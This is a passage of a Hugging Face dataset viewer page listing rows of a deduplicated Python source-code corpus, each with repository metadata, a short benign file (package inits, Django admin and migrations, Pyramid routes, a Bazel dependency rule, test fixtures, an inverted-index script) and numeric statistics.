xszheng2020/the_stack_dedup_python_hits_5 · Datasets at Hugging Face

648a4501d473d939e72e3971c0c63e4c5c253da2

34

py

Python

sigcom/__main__.py

dcic/signature-commons-controller

b69c4063235d927da27891e8a30d2822c6768a66

[ "Apache-2.0" ]

null

sigcom/__main__.py

dcic/signature-commons-controller

b69c4063235d927da27891e8a30d2822c6768a66

[ "Apache-2.0" ]

2

2020-06-09T14:52:34.000Z

2020-11-06T18:02:49.000Z

sigcom/__main__.py

dcic/signature-commons-controller

b69c4063235d927da27891e8a30d2822c6768a66

[ "Apache-2.0" ]

null

from sigcom.cli import main main()

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64bbd761800292d0813bdc9b13e2cbfd9dcb6e21

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py

Python

tests/__init__.py

xakiy/falcon-ratelimit

68bb239f0bbe5c09657dd06d230e9923039beb10

[ "MIT" ]

10

2018-06-24T08:33:46.000Z

2022-01-02T14:23:20.000Z

tests/__init__.py

xakiy/falcon-ratelimit

68bb239f0bbe5c09657dd06d230e9923039beb10

[ "MIT" ]

4

2018-04-24T12:00:49.000Z

2021-08-05T14:49:31.000Z

tests/__init__.py

xakiy/falcon-ratelimit

68bb239f0bbe5c09657dd06d230e9923039beb10

[ "MIT" ]

9

2018-04-09T10:40:47.000Z

2020-07-02T13:27:23.000Z

# coding=UTF-8 from __future__ import print_function, absolute_import, division

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py

Python

MLSD/__init__.py

HaoranXue/Machine_Learning_For_Structured_Data

376fb2b78ba5dea4d6214931f6a60e3b4477c883

[ "MIT" ]

4

2017-09-03T23:09:02.000Z

2017-09-15T13:01:38.000Z

MLSD/__init__.py

HaoranXue/SDM

376fb2b78ba5dea4d6214931f6a60e3b4477c883

[ "MIT" ]

null

MLSD/__init__.py

HaoranXue/SDM

376fb2b78ba5dea4d6214931f6a60e3b4477c883

[ "MIT" ]

null

''' SDM is a package for using Series as features ''' from .StructureData import * from .StructureDataFrame import * from .Transformers import *

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b37f577716d3e926a546fc670e6e43faf9d12dff

107

py

Python

tests/test_saltuser.py

saltastro/saltuser

a5c97b15b5c2cbf732fb957c9dd91ac04ac23373

[ "MIT" ]

null

tests/test_saltuser.py

saltastro/saltuser

a5c97b15b5c2cbf732fb957c9dd91ac04ac23373

[ "MIT" ]

null

tests/test_saltuser.py

saltastro/saltuser

a5c97b15b5c2cbf732fb957c9dd91ac04ac23373

[ "MIT" ]

null

"""Tests for `salt_user` package.""" def test_content(): """Bogus test.""" assert True is False

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3735921e137c8c45657a118872073a5c9c2372b6

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py

Python

classes/face_type.py

t-maes/Energy

257c6b4a58af1067880870c828e966ba4c6e7f5d

[ "MIT" ]

null

classes/face_type.py

t-maes/Energy

257c6b4a58af1067880870c828e966ba4c6e7f5d

[ "MIT" ]

13

2020-09-17T13:11:22.000Z

2021-10-16T15:15:47.000Z

classes/face_type.py

t-maes/Energy

257c6b4a58af1067880870c828e966ba4c6e7f5d

[ "MIT" ]

2

2020-10-03T15:29:50.000Z

2021-10-04T07:50:35.000Z

from enum import Enum class FaceType(Enum): WALL = (0, 'Walls', 'MOD_BUILD', ['M', 'W'], 'wall') FLOOR = (1, 'Floors', 'TEXTURE', ['S', 'F'], 'floor') ROOF = (2, 'Roofs', 'LINCURVE', ['T', 'R'], 'roof') def get_id(self): return self.value[0] def get_name(self): return self.value[1] def get_icon(self): return self.value[2] def get_letters(self): return self.value[3] def get_pacetools_type(self): return self.value[4] @staticmethod def get_face_type(letter: str) -> 'FaceType': for face_type in FaceType: if letter in face_type.get_letters(): return face_type

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374e05bef352cf6a0bbc2edb924828a0a8f7d3fe

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py

Python

pelican/plugins/gpx_reader/exceptions.py

MinchinWeb/gpx-reader

772adff6c5803826f130286f8ec078aad7c49508

[ "MIT" ]

1

2021-06-03T03:35:55.000Z

pelican/plugins/gpx_reader/exceptions.py

MinchinWeb/gpx-reader

772adff6c5803826f130286f8ec078aad7c49508

[ "MIT" ]

null

pelican/plugins/gpx_reader/exceptions.py

MinchinWeb/gpx-reader

772adff6c5803826f130286f8ec078aad7c49508

[ "MIT" ]

null

class TooShortGPXException(ValueError): """GPX has less than 2 points, and so won't generate a heatmap cleanly."""

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3769cb9e6e30558704c62fd2397c4328d7099939

163

py

Python

myvenv/lib/python3.5/site-packages/allauth/socialaccount/providers/hubic/urls.py

tuvapp/tuvappcom

5ca2be19f4b0c86a1d4a9553711a4da9d3f32841

[ "MIT" ]

1

2018-04-06T21:36:59.000Z

myvenv/lib/python3.5/site-packages/allauth/socialaccount/providers/hubic/urls.py

tuvapp/tuvappcom

5ca2be19f4b0c86a1d4a9553711a4da9d3f32841

[ "MIT" ]

6

2020-06-05T18:44:19.000Z

2022-01-13T00:48:56.000Z

myvenv/lib/python3.5/site-packages/allauth/socialaccount/providers/hubic/urls.py

tuvapp/tuvappcom

5ca2be19f4b0c86a1d4a9553711a4da9d3f32841

[ "MIT" ]

1

2022-02-01T17:19:28.000Z

from allauth.socialaccount.providers.oauth2.urls import default_urlpatterns from .provider import HubicProvider urlpatterns = default_urlpatterns(HubicProvider)

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8067b4374ba41b815a9a3686f3eb5766d004309f

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py

Python

__init__.py

interruping/naver_ai_hackathon_2018_kin_964turon

dfdff75a2a83b3ca71c05f25bc70b16c9d7728f3

[ "MIT" ]

null

__init__.py

interruping/naver_ai_hackathon_2018_kin_964turon

dfdff75a2a83b3ca71c05f25bc70b16c9d7728f3

[ "MIT" ]

null

__init__.py

interruping/naver_ai_hackathon_2018_kin_964turon

dfdff75a2a83b3ca71c05f25bc70b16c9d7728f3

[ "MIT" ]

null

from .konlpy_set import KinQueryDatasetVer2, preprocess, get_embedding_dim

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80743b7e8796f67c8ef10fc04ba79b234767738a

58

py

Python

clinicadl/tsvtools/restrict/__init__.py

Raelag0112/clinicadl

4b9508ea6bbe5498069b1d76ad2c3636f67e3184

[ "MIT" ]

25

2021-08-01T05:52:34.000Z

2022-03-22T04:18:01.000Z

clinicadl/tsvtools/restrict/__init__.py

Raelag0112/clinicadl

4b9508ea6bbe5498069b1d76ad2c3636f67e3184

[ "MIT" ]

82

2021-07-12T08:28:36.000Z

2022-03-02T16:12:04.000Z

clinicadl/tsvtools/restrict/__init__.py

Raelag0112/clinicadl

4b9508ea6bbe5498069b1d76ad2c3636f67e3184

[ "MIT" ]

12

2021-07-30T08:01:02.000Z

2022-03-14T11:45:03.000Z

from .restrict import aibl_restriction, oasis_restriction

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80c177317b86f12b3cc0d167ca3f3fa31354fb1d

981

py

Python

parkingsystem/migrations/0016_auto_20180702_1618.py

magaust/jaipurSmartPark

03430a885f1e98badf852985c5b4ba4db2b3795c

[ "MIT" ]

null

parkingsystem/migrations/0016_auto_20180702_1618.py

magaust/jaipurSmartPark

03430a885f1e98badf852985c5b4ba4db2b3795c

[ "MIT" ]

null

parkingsystem/migrations/0016_auto_20180702_1618.py

magaust/jaipurSmartPark

03430a885f1e98badf852985c5b4ba4db2b3795c

[ "MIT" ]

1

2018-09-06T17:30:51.000Z

# Generated by Django 2.0.6 on 2018-07-02 10:48 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('parkingsystem', '0015_auto_20180629_1215'), ] operations = [ migrations.AlterField( model_name='parkinglot', name='latitude', field=models.DecimalField(decimal_places=6, max_digits=9), ), migrations.AlterField( model_name='parkinglot', name='longitude', field=models.DecimalField(decimal_places=6, max_digits=9), ), migrations.AlterField( model_name='standaloneparkingspace', name='latitude', field=models.DecimalField(decimal_places=6, max_digits=9), ), migrations.AlterField( model_name='standaloneparkingspace', name='longitude', field=models.DecimalField(decimal_places=6, max_digits=9), ), ]

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80db105d2fbce95f913926d6c0488904c36ac253

694

py

Python

utils/metrics.py

mhubrich/parkingCV

258b60d6cdaa57e47b4f2e79c9afc654d0e930fc

[ "MIT" ]

null

utils/metrics.py

mhubrich/parkingCV

258b60d6cdaa57e47b4f2e79c9afc654d0e930fc

[ "MIT" ]

null

utils/metrics.py

mhubrich/parkingCV

258b60d6cdaa57e47b4f2e79c9afc654d0e930fc

[ "MIT" ]

null

import numpy as np import sklearn.metrics def log_loss(y_true, y_pred): return sklearn.metrics.log_loss(y_true, y_pred, eps=1e-6) def accuracy_score(y_true, y_pred): return sklearn.metrics.accuracy_score(y_true, np.round(y_pred)) def roc_auc_score(y_true, y_pred): return sklearn.metrics.roc_auc_score(y_true, y_pred) def confusion_matrix(y_true, y_pred): return sklearn.metrics.confusion_matrix(y_true, np.round(y_pred)) def TP(y_true, y_pred): conf = confusion_matrix(y_true, y_pred) return float(conf[1,1]) / (conf[1,1] + conf[1,0]) def TN(y_true, y_pred): conf = confusion_matrix(y_true, y_pred) return float(conf[0,0]) / (conf[0,0] + conf[0,1])

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03bc2db31d5b23278c12c999b5cd41ea7128ebff

276

py

Python

logging/__init__.py

ligz08/pdqa

b2af027daf544e30d58358de20281d4648322b87

[ "Apache-2.0" ]

null

logging/__init__.py

ligz08/pdqa

b2af027daf544e30d58358de20281d4648322b87

[ "Apache-2.0" ]

null

logging/__init__.py

ligz08/pdqa

b2af027daf544e30d58358de20281d4648322b87

[ "Apache-2.0" ]

null

def make_log_msg(title, status, detail=None, extra=None, sep='::'): """ Make a message that looks like this: Title::status::detail::extra Any None will be skipped. """ strings = [title, status, detail, extra] return sep.join(filter(None, strings))

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03d72a96e0bb111eee8bbb9b6df1fc3b8c2f4ed6

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py

Python

intervalmap/__init__.py

marciogameiro/intervalmap

2ae87100dc3954a67e62d30f1f7882ea40a0e326

[ "MIT" ]

null

intervalmap/__init__.py

marciogameiro/intervalmap

2ae87100dc3954a67e62d30f1f7882ea40a0e326

[ "MIT" ]

null

intervalmap/__init__.py

marciogameiro/intervalmap

2ae87100dc3954a67e62d30f1f7882ea40a0e326

[ "MIT" ]

null

# __init__.py # Marcio Gameiro # 2021-01-05 # MIT LICENSE from intervalmap.PlotIntervalMap import *

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03ff93fc9d98330d3ad870c21f0120ad11f705f7

183

py

Python

bot/reporting/admin.py

psemdel/py-trading-bot

69da4164b3f6a3ed3e6dc81d5aefc0273b4cb019

[ "MIT" ]

null

bot/reporting/admin.py

psemdel/py-trading-bot

69da4164b3f6a3ed3e6dc81d5aefc0273b4cb019

[ "MIT" ]

1

2022-02-07T21:13:55.000Z

bot/reporting/admin.py

psemdel/py-trading-bot

69da4164b3f6a3ed3e6dc81d5aefc0273b4cb019

[ "MIT" ]

null

from django.contrib import admin from django.apps import apps from reporting.models import * admin.site.register(Report) admin.site.register(ActionReport) admin.site.register(Alert)

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ff0f2f83aeb478e57ecba0e353fdfa1c90342077

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py

Python

sonos_pi3_controller/bt_pair_controller/__init__.py

kirkden/sonos_pi3_refresh

cfa997f3a26bd7738eef7b685a9c1e037c53ed7e

[ "MIT" ]

1

2021-03-24T15:14:50.000Z

sonos_pi3_controller/bt_pair_controller/__init__.py

kirkden/sonos_pi3_refresh

cfa997f3a26bd7738eef7b685a9c1e037c53ed7e

[ "MIT" ]

null

sonos_pi3_controller/bt_pair_controller/__init__.py

kirkden/sonos_pi3_refresh

cfa997f3a26bd7738eef7b685a9c1e037c53ed7e

[ "MIT" ]

null

from .bt_pair_controller import set_bt_pairing, update_bt_device_config

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206543d34f0f4d7d479c2636f88d0e4e3752b2f7

90

py

Python

enthought/envisage/plugin_event.py

enthought/etsproxy

4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347

[ "BSD-3-Clause" ]

3

2016-12-09T06:05:18.000Z

2018-03-01T13:00:29.000Z

enthought/envisage/plugin_event.py

enthought/etsproxy

4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347

[ "BSD-3-Clause" ]

1

2020-12-02T00:51:32.000Z

2020-12-02T08:48:55.000Z

enthought/envisage/plugin_event.py

enthought/etsproxy

4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347

[ "BSD-3-Clause" ]

null

# proxy module from __future__ import absolute_import from envisage.plugin_event import *

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2068c0e986090c60cdb370c89725baad0a37fb2d

83

py

Python

python/tests/transducer_test.py

DevL/trancedeuce

a1daea44fd8b30f6392dc8ef0724432bef2a99a9

[ "MIT" ]

null

python/tests/transducer_test.py

DevL/trancedeuce

a1daea44fd8b30f6392dc8ef0724432bef2a99a9

[ "MIT" ]

null

python/tests/transducer_test.py

DevL/trancedeuce

a1daea44fd8b30f6392dc8ef0724432bef2a99a9

[ "MIT" ]

null

from transducer import Transducer def test_transducer(): Transducer pass

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null

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5

206fa5a515032d90fcee492996c5a515f42a29c6

56

py

Python

enthought/pyface/ui/qt4/python_shell.py

enthought/etsproxy

4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347

[ "BSD-3-Clause" ]

3

2016-12-09T06:05:18.000Z

2018-03-01T13:00:29.000Z

enthought/pyface/ui/qt4/python_shell.py

enthought/etsproxy

4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347

[ "BSD-3-Clause" ]

1

2020-12-02T00:51:32.000Z

2020-12-02T08:48:55.000Z

enthought/pyface/ui/qt4/python_shell.py

enthought/etsproxy

4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347

[ "BSD-3-Clause" ]

null

# proxy module from pyface.ui.qt4.python_shell import *

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56

4.777778

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1

0

null

0

1

0

1

0

1

0

5

20eec783eef37492901442687717aaffec487075

48

py

Python

onebarangay_psql/statistics/__init__.py

PrynsTag/oneBarangay-PostgreSQL

11d7b97b57603f4c88948905560a22a5314409ce

[ "Apache-2.0" ]

null

onebarangay_psql/statistics/__init__.py

PrynsTag/oneBarangay-PostgreSQL

11d7b97b57603f4c88948905560a22a5314409ce

[ "Apache-2.0" ]

43

2022-02-07T00:18:35.000Z

2022-03-21T04:42:48.000Z

onebarangay_psql/statistics/__init__.py

PrynsTag/oneBarangay-PostgreSQL

11d7b97b57603f4c88948905560a22a5314409ce

[ "Apache-2.0" ]

null

"""Default init file for statistics package."""

24

47

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1

48

0.833333

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null

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0

1

0

1

0

null

0

1

0

5

4583c54cfccd1fb3b1fb1dbcb0947ff6d8d1c59a

458

py

Python

Modulo 1/009.py

thiago19maciel/Exercicios-em-Python

0d46816caf655c6e870510bb1136964854fc875f

[ "MIT" ]

1

2022-03-22T22:36:48.000Z

Modulo 1/009.py

thiago19maciel/Exercicios-em-Python

0d46816caf655c6e870510bb1136964854fc875f

[ "MIT" ]

null

Modulo 1/009.py

thiago19maciel/Exercicios-em-Python

0d46816caf655c6e870510bb1136964854fc875f

[ "MIT" ]

null

numero = int(input('Tabuada do ')) print(f'{numero} X 0 = {numero*0}') print(f'{numero} X 1 = {numero*1}') print(f'{numero} X 2 = {numero*2}') print(f'{numero} X 3 = {numero*3}') print(f'{numero} X 4 = {numero*4}') print(f'{numero} X 5 = {numero*5}') print(f'{numero} X 6 = {numero*6}') print(f'{numero} X 7 = {numero * 7}') print(f'{numero} X 8 = {numero *8}') print(f'{numero} X 9 = {numero *9}') print(f'{numero} X 10 = {numero* 10}')

38.166667

39

0.558952

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458

3.121951

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1

0

1

0

null

0

1

0

5

45d7b22d2dda2ca5aca71ca725c9ff79916acd55

44

py

Python

src/fractal/world/_op/end/state.py

jedhsu/fractal

97833ddc5063fae72352cf590738fef508c02f0c

[ "MIT" ]

null

src/fractal/world/_op/end/state.py

jedhsu/fractal

97833ddc5063fae72352cf590738fef508c02f0c

[ "MIT" ]

null

src/fractal/world/_op/end/state.py

jedhsu/fractal

97833ddc5063fae72352cf590738fef508c02f0c

[ "MIT" ]

null

class EndState(metaclass=ABCMeta): pass

14.666667

34

0.75

5

44

6.6

1

0

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44

2

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22

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0

1

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true

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0

0.5

0

1

0

null

0

1

0

null

0

1

0

5

aff947dc66ce74ed37d4f50fea9cb7f0759c0e8a

152

py

Python

python/testData/pyi/type/comparisonOperatorOverloads/lib.py

jnthn/intellij-community

8fa7c8a3ace62400c838e0d5926a7be106aa8557

[ "Apache-2.0" ]

2

2019-04-28T07:48:50.000Z

2020-12-11T14:18:08.000Z

python/testData/pyi/type/comparisonOperatorOverloads/lib.py

jnthn/intellij-community

8fa7c8a3ace62400c838e0d5926a7be106aa8557

[ "Apache-2.0" ]

173

2018-07-05T13:59:39.000Z

2018-08-09T01:12:03.000Z

python/testData/pyi/type/comparisonOperatorOverloads/lib.py

jnthn/intellij-community

8fa7c8a3ace62400c838e0d5926a7be106aa8557

[ "Apache-2.0" ]

2

2020-03-15T08:57:37.000Z

2020-04-07T04:48:14.000Z

class MyClass: def __init__(self, *args): pass def __lt__(self, other): pass def __gt__(self, other): return True

15.2

30

0.559211

18

152

4.055556

0.666667

0.191781

0

0.348684

152

9

31

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0

0.285714

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1

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false

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1

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null

0

1

0

null

0

1

0

1

0

1

0

5

b36f756e8c02928780345bf238c0fd02acb4022d

37

py

Python

pyautoeasy/__main__.py

SaranshBaniyal/pyautoeasy

22d7cf556fd05f94a1a5806ce731011523779ef5

[ "MIT" ]

4

2021-10-10T18:20:49.000Z

2021-12-06T18:38:59.000Z

pyautoeasy/__main__.py

SaranshBaniyal/pyautoeasy

22d7cf556fd05f94a1a5806ce731011523779ef5

[ "MIT" ]

8

2021-10-10T18:05:28.000Z

2021-12-07T03:37:45.000Z

pyautoeasy/__main__.py

SaranshBaniyal/pyautoeasy

22d7cf556fd05f94a1a5806ce731011523779ef5

[ "MIT" ]

5

2021-10-11T13:41:15.000Z

2021-12-27T15:02:31.000Z

from pyautoeasy import cli cli.main()

18.5

26

0.810811

6

37

5

0.833333

0

0.108108

37

2

27

18.5

0.909091

0

1

0

true

0

0.5

0

0.5

0

1

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null

0

1

0

null

0

1

0

1

0

5

2fb2fdfa61351569e57447f454e2aeffc1bbdbb3

104

py

Python

crud/crudexample/admin.py

Neeraj2701/numpy

bbc3167427eb8ecafeee3c5c9606b3532405dd96

[ "BSD-3-Clause" ]

null

crud/crudexample/admin.py

Neeraj2701/numpy

bbc3167427eb8ecafeee3c5c9606b3532405dd96

[ "BSD-3-Clause" ]

null

crud/crudexample/admin.py

Neeraj2701/numpy

bbc3167427eb8ecafeee3c5c9606b3532405dd96

[ "BSD-3-Clause" ]

null

from django.contrib import admin from crudexample.models import employee admin.site.register(employee)

20.8

39

0.846154

14

104

6.285714

0.714286

0

0.096154

104

4

40

26

0.93617

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true

0

0.666667

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null

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0

null

0

1

0

1

0

1

0

5

2fd0cfd1e79c1ace8d687b73297ea9d7a24a0964

79

py

Python

pdr/__init__.py

jmzhao/CS704-asn3

95020c5198e50d520f34e51dbc77e195c06e6473

[ "MIT" ]

null

pdr/__init__.py

jmzhao/CS704-asn3

95020c5198e50d520f34e51dbc77e195c06e6473

[ "MIT" ]

1

2016-05-14T04:08:55.000Z

2016-05-14T07:20:30.000Z

pdr/__init__.py

jmzhao/CS704-asn3

95020c5198e50d520f34e51dbc77e195c06e6473

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ @author: jmzhao """ from pdr import * import test

11.285714

23

0.56962

10

79

4.5

0.9

0

0.015873

0.202532

79

7

24

11.285714

0.698413

0.481013

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

2ffd633c035e5b8a5c7381b18155f86b65f423e0

295

py

Python

common/common/utils/uuid.py

ravirahman/sancus

6563852b98edeb1068574e2d99e1fc18b815bee3

[ "MIT" ]

2

2022-03-17T04:50:20.000Z

2022-03-17T04:51:31.000Z

common/common/utils/uuid.py

ravirahman/sancus

6563852b98edeb1068574e2d99e1fc18b815bee3

[ "MIT" ]

null

common/common/utils/uuid.py

ravirahman/sancus

6563852b98edeb1068574e2d99e1fc18b815bee3

[ "MIT" ]

null

import uuid def generate_uuid4() -> uuid.UUID: return _generate_uuid4() def _generate_uuid4() -> uuid.UUID: # Defined as a private method for easy monkeypatching return uuid.uuid4() def bytes_to_uuid(data: bytes) -> uuid.UUID: return uuid.UUID(bytes=data.rjust(16, b"\0"))

19.666667

57

0.698305

43

295

4.627907

0.488372

0.160804

0.201005

0.241206

0

0.028926

0.179661

295

14

58

21.071429

0.793388

0.172881

0

1

0

0.008264

0

1

0.428571

false

0

0.142857

0.428571

1

0

null

0

1

0

1

0

null

0

1

0

1

0

5

2fffeecfd74fb3b321b898239e5f0a7ba37a7a1d

52

py

Python

keras/optimizers/schedules/__init__.py

ikingye/keras

1a3ee8441933fc007be6b2beb47af67998d50737

[ "MIT" ]

5

2020-11-30T22:26:03.000Z

2020-12-01T22:34:25.000Z

keras/optimizers/schedules/__init__.py

ikingye/keras

1a3ee8441933fc007be6b2beb47af67998d50737

[ "MIT" ]

10

2020-12-01T22:55:29.000Z

2020-12-11T18:31:46.000Z

keras/optimizers/schedules/__init__.py

ikingye/keras

1a3ee8441933fc007be6b2beb47af67998d50737

[ "MIT" ]

15

2020-11-30T22:12:22.000Z

2020-12-09T01:32:48.000Z

from tensorflow.keras.optimizers.schedules import *

26

51

0.846154

6

52

7.333333

1

0

0.076923

52

1

52

0.916667

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

64013de2423b6eda7583c7954f2421b985fdc3cf

1,874

py

Python

src/ch6-routing/start/pypi_routing/pypi/controllers/packages_controller.py

bkraft4257/data-driven-web-apps-with-pyramid-and-sqlalchemy

4943eb3d13c0df3c1b371efafb04e5ca41d97254

[ "MIT" ]

null

src/ch6-routing/start/pypi_routing/pypi/controllers/packages_controller.py

bkraft4257/data-driven-web-apps-with-pyramid-and-sqlalchemy

4943eb3d13c0df3c1b371efafb04e5ca41d97254

[ "MIT" ]

null

src/ch6-routing/start/pypi_routing/pypi/controllers/packages_controller.py

bkraft4257/data-driven-web-apps-with-pyramid-and-sqlalchemy

4943eb3d13c0df3c1b371efafb04e5ca41d97254

[ "MIT" ]

null

from pyramid.view import view_config from pyramid.request import Request import pyramid.httpexceptions as x # /project/{package_name}/ @view_config(route_name='package_details', renderer='pypi:templates/packages/details.pt') @view_config(route_name='package_details/', renderer='pypi:templates/packages/details.pt') def details(request: Request): package_name = request.matchdict.get('package_name') if not package_name: raise x.HTTPNotFound() return { 'package_name': package_name } # /project/{package_name}/releases @view_config(route_name='releases', renderer='pypi:templates/packages/releases.pt') @view_config(route_name='releases/', renderer='pypi:templates/packages/releases.pt') def releases(request: Request): package_name = request.matchdict.get('package_name') if not package_name: raise x.HTTPNotFound() return { 'package_name': package_name, 'releases': [] } # /project/{package_name}/releases/{release_version} @view_config(route_name='release_version', renderer='pypi:templates/packages/details.pt') def release_version(request: Request): package_name = request.matchdict.get('package_name') release_ver = request.matchdict.get('release_version') if not package_name: raise x.HTTPNotFound() return { 'package_name': package_name, 'release_version': release_ver, 'releases': [] } # /project/{package_name}/releases/{release_version} @view_config(route_name='popular', renderer='pypi:templates/packages/details.pt') def release_version(request: Request): num = int(request.matchdict.get('num', -1)) if not (1 <= num or num <= 10): raise x.HTTPNotFound() return { 'package_name': f"The {num}th popular package" }

28.830769

60

0.680363

218

1,874

5.646789

0.183486

0.178716

0.073111

0.092608

0.748172

0.71974

0.717303

0.683997

0

0.002647

0.193703

1,874

64

61

29.28125

0.812045

0.084845

0

0.553191

0

0.25512

0.120538

0

1

0.085106

false

0

0.06383

0

0.234043

0

null

0

1

0

null

0

5

641a91dbdedae51a3e67ba706dca460ad4205d27

169

py

Python

metrics/admin.py

tp00012x/bobs_banana_stand

0ae167b1bb124408770924dcb3660760da2d715c

[ "MIT" ]

null

metrics/admin.py

tp00012x/bobs_banana_stand

0ae167b1bb124408770924dcb3660760da2d715c

[ "MIT" ]

6

2021-03-18T22:01:48.000Z

2022-02-10T07:19:13.000Z

metrics/admin.py

tp00012x/bobs_banana_stand

0ae167b1bb124408770924dcb3660760da2d715c

[ "MIT" ]

null

from django.contrib import admin from metrics.models import InventoryProduct class InventoryAdmin(admin.ModelAdmin): pass admin.site.register(InventoryProduct)

15.363636

43

0.816568

19

169

7.263158

0.736842

0

0.12426

169

10

44

16.9

0.932432

0

1

0

true

0.2

0.4

0

0.6

0

1

0

null

0

null

0

1

0

1

0

5

ff3313d7fbbaa4f483d5adc2ada397adb8303dc3

113

py

Python

References/Geovana Neves/TCC_Geovana_Neves_GitHub/SUAVE_modifications/SUAVE-feature-constant_throttle_EAS/trunk/SUAVE/Attributes/Gases/__init__.py

Vinicius-Tanigawa/Undergraduate-Research-Project

e92372f07882484b127d7affe305eeec2238b8a9

[ "MIT" ]

null

References/Geovana Neves/TCC_Geovana_Neves_GitHub/SUAVE_modifications/SUAVE-feature-constant_throttle_EAS/trunk/SUAVE/Attributes/Gases/__init__.py

Vinicius-Tanigawa/Undergraduate-Research-Project

e92372f07882484b127d7affe305eeec2238b8a9

[ "MIT" ]

null

References/Geovana Neves/TCC_Geovana_Neves_GitHub/SUAVE_modifications/SUAVE-feature-constant_throttle_EAS/trunk/SUAVE/Attributes/Gases/__init__.py

Vinicius-Tanigawa/Undergraduate-Research-Project

e92372f07882484b127d7affe305eeec2238b8a9

[ "MIT" ]

null

# classes from Air import Air from CO2 import CO2 from Steam import Steam from Gas import Gas # packages # ...

11.3

23

0.734513

18

113

4.611111

0.444444

0

0.022472

0.212389

113

9

24

12.555556

0.910112

0.176991

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

ff38954f361ab1c6d35db5a48ef989d7e38199c8

600

bzl

Python

source/bazel/deps/emsdk/get.bzl

luxe/CodeLang-compiler

78837d90bdd09c4b5aabbf0586a5d8f8f0c1e76a

[ "MIT" ]

1

2019-01-06T08:45:46.000Z

source/bazel/deps/emsdk/get.bzl

luxe/CodeLang-compiler

78837d90bdd09c4b5aabbf0586a5d8f8f0c1e76a

[ "MIT" ]

264

2015-11-30T08:34:00.000Z

2018-06-26T02:28:41.000Z

source/bazel/deps/emsdk/get.bzl

UniLang/compiler

c338ee92994600af801033a37dfb2f1a0c9ca897

[ "MIT" ]

null

# Do not edit this file directly. # It was auto-generated by: code/programs/reflexivity/reflexive_refresh load("@bazel_tools//tools/build_defs/repo:http.bzl", "http_archive") load("@bazel_tools//tools/build_defs/repo:http.bzl", "http_file") def emsdk(): http_archive( name = "emsdk", sha256 = "c9eb5580cea5869ec73b264750971b75c400d520742264dc117f5020a771cd30", strip_prefix = "emsdk-c33c7be17f047355aa13a59f62a05100f9ff3257/bazel", urls = [ "https://github.com/Unilang/emsdk/archive/c33c7be17f047355aa13a59f62a05100f9ff3257.tar.gz", ], )

37.5

103

0.718333

61

600

6.918033

0.655738

0.042654

0.066351

0.090047

0.203791

0

0.204771

0.161667

600

15

104

40

0.634195

0.168333

0

1

0

0.641129

0.41129

0

1

0.090909

true

0

0.090909

0

null

0

1

0

1

0

1

null

0

1

0

5

ff5751a849108f15acfede92c3f26ffa54292d1b

722

py

Python

tests/conftest.py

haizaar/configmanager

674bce2ec1ac2528588aa7bc1407b545f2264dbc

[ "MIT" ]

13

2017-05-13T13:33:27.000Z

2022-02-03T14:37:50.000Z

tests/conftest.py

haizaar/configmanager

674bce2ec1ac2528588aa7bc1407b545f2264dbc

[ "MIT" ]

118

2017-05-06T22:58:01.000Z

2018-12-03T10:23:38.000Z

tests/conftest.py

haizaar/configmanager

674bce2ec1ac2528588aa7bc1407b545f2264dbc

[ "MIT" ]

4

2018-05-30T03:08:05.000Z

2019-05-09T02:06:48.000Z

import collections import pytest from configmanager import Config, PlainConfig @pytest.fixture def simple_config(): return Config([ ('uploads', collections.OrderedDict([ ('enabled', False), ('threads', 1), ('db', collections.OrderedDict([ ('user', 'root'), ('password', 'secret'), ])) ])) ]) @pytest.fixture def plain_config(): return PlainConfig([ ('uploads', collections.OrderedDict([ ('enabled', False), ('threads', 1), ('db', collections.OrderedDict([ ('user', 'root'), ('password', 'secret'), ])) ])) ])

21.878788

45

0.477839

51

722

6.72549

0.45098

0.25656

0.093294

0.209913

0.553936

0

0.004348

0.362881

722

32

46

22.5625

0.741304

0

0.740741

0

0.124654

0

1

0.074074

true

0.074074

0.111111

0.074074

0.259259

0

null

1

0

1

0

1

0

null

0

1

0

5

ff628418c4c9d99f04b445fd71df0016faf4b958

2,995

py

Python

Sem7/CS6370_Information_Retrieval/assignment_2/part2.py

akileshbadrinaaraayanan/IITH

955e07af01ba2002f8efe9a4644395fc4e7a46d1

[ "MIT" ]

2

2018-02-21T22:46:54.000Z

2020-01-07T16:03:10.000Z

Sem7/CS6370_Information_Retrieval/assignment_2/part2.py

akileshbadrinaaraayanan/IITH

955e07af01ba2002f8efe9a4644395fc4e7a46d1

[ "MIT" ]

null

Sem7/CS6370_Information_Retrieval/assignment_2/part2.py

akileshbadrinaaraayanan/IITH

955e07af01ba2002f8efe9a4644395fc4e7a46d1

[ "MIT" ]

3

2018-05-08T01:57:11.000Z

2021-04-21T22:49:00.000Z

""" This module demonstrates finding the top K,median K and least K terms in the inverted index based on their document frequency """ import numpy as np from part1 import createindexes def get_topk(invertedindex): """ This function outputs the top k terms with highest document frequency. It takes the inverted index as input and sorts the terms based on their document frequency. Args: invertedindex (dict): The dictionary storing the inverted index """ invertedlist = list(invertedindex) freqlist = [len(invertedindex[word][0]) for word in invertedlist] sortedfreq = np.argsort(-1*np.array(freqlist)) for i in range(k): word = invertedlist[sortedfreq[i]] gap = 0 postlist = np.array(invertedindex[word][0]) gap = np.mean(postlist[1:]-postlist[:-1]) if len(postlist) > 1 else 0 print("Term : " + word + "\t") print("PostingSize: " + str(freqlist[sortedfreq[i]]) + "\tAverage Gap : " + str(gap) + "\n") def get_medk(invertedindex): """ This function outputs the median k terms based on the document frequency. It takes the inverted index as input and sorts the terms based on their document frequency. Args: invertedindex (dict): The dictionary storing the inverted index """ invertedlist = list(invertedindex) freqlist = [len(invertedindex[word][0]) for word in invertedlist] sortedfreq = np.argsort(-1*np.array(freqlist)) start = len(sortedfreq)//2 - k//2 for i in range(start, start + k): word = invertedlist[sortedfreq[i]] gap = 0 postlist = np.array(invertedindex[word][0]) gap = np.mean(postlist[1:]-postlist[:-1]) if len(postlist) > 1 else 0 print("Term : " + word + "\t") 